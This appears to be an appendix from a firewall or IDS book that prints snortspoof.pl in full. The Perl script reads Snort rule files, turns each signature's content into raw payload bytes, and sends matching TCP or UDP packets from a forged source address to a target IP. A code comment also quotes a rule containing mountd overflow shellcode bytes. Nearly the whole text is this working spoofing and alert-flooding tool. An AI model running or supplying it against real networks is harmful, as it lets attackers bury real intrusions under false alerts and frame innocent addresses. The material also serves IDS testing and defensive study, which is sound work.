Appendix A: Attack Spoofing
It's exceedingly easy to parse the Snort signature ruleset, craft matching packet data, and blast it on the wire from spoofed source addresses. Appendix A discusses a sample Perl script snortspoof.pl (bundled with fwsnort) that does just this. For reference, this script is shown below as well:#!/usr/bin/perl -w # ############################################################################### # # File: snortspoof.pl # # Purpose: To parse rules from the Snort rule set and spoof them at a target # IP from arbitrary source addresses. This is similar to the # technique employed by the Stick and Snot projects. Snortspoof.pl # is distributed with the fwsnort project # (http://www.cipherdyne.org/fwsnort/). # # Author: Michael Rash <mbr@cipherdyne.org> # # Copyright (C) 2003-2005 Michael Rash (mbr@cipherdyne.org) # # License (GNU Public License): # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 # USA # ############################################################################### # # $Id: index.html 2980 2011-01-09 15:27:41Z mbr $ # require Net::RawIP; use strict; my $file = $ARGV[0] || ''; my $spoof_addr = $ARGV[1] || ''; my $dst_addr = $ARGV[2] || ''; die "$0 <rules file> <spoof IP> <dst IP>" unless $file and $spoof_addr and $dst_addr; # alert udp $EXTERNAL_NET any -> $HOME_NET 635 (msg:"EXPLOIT x86 Linux mountd # overflow"; content:"^|B0 02 89 06 FE C8 89|F|04 B0 06 89|F"; # reference:bugtraq,121; reference:cve,1999-0002; classtype:attempted-admin; # sid:315; rev:6;) my $sig_sent = 0; open F, "< $file" or die "[*] Could not open $file: $!"; SIG: while (<F>) { my $content = ''; my $conv_content = ''; my $hex_mode = 0; my $proto = ''; my $spt = 10000; my $dpt = 10000; ### make sure it is an inbound sig if (/^\s*alert\s+(tcp|udp)\s+\S+\s+(\S+)\s+\S+ \s+(\$HOME_NET|any)\s+(\S+)\s/x) { $proto = $1; my $spt_tmp = $2; my $dpt_tmp = $4; ### can't handle multiple content fields yet next SIG if /content:.*\s*content\:/; $content = $1 if /\s*content\:\"(.*?)\"\;/; next SIG unless $content; if ($spt_tmp =~ /(\d+)/) { $spt = $1; } elsif ($spt_tmp ne 'any') { next SIG; } if ($dpt_tmp =~ /(\d+)/) { $dpt = $1; } elsif ($dpt_tmp ne 'any') { next SIG; } my @chars = split //, $content; for (my $i=0; $i<=$#chars; $i++) { if ($chars[$i] eq '|') { $hex_mode == 0 ? ($hex_mode = 1) : ($hex_mode = 0); next; } if ($hex_mode) { next if $chars[$i] eq ' '; $conv_content .= sprintf("%c", hex($chars[$i] . $chars[$i+1])); $i++; } else { $conv_content .= $chars[$i]; } } my $rawpkt = ''; if ($proto eq 'tcp') { $rawpkt = new Net::RawIP({'ip' => { saddr => $spoof_addr, daddr => $dst_addr}, 'tcp' => { source => $spt, dest => $dpt, 'ack' => 1, data => $conv_content}}) or die "[*] Could not get Net::RawIP object: $!"; } else { $rawpkt = new Net::RawIP({'ip' => { saddr => $spoof_addr, daddr => $dst_addr}, 'udp' => { source => $spt, dest => $dpt, data => $conv_content}}) or die "[*] Could not get Net::RawIP object: $!"; } $rawpkt->send(); $sig_sent++; } } print "[+] $file, $sig_sent attacks sent.\n"; close F; exit 0;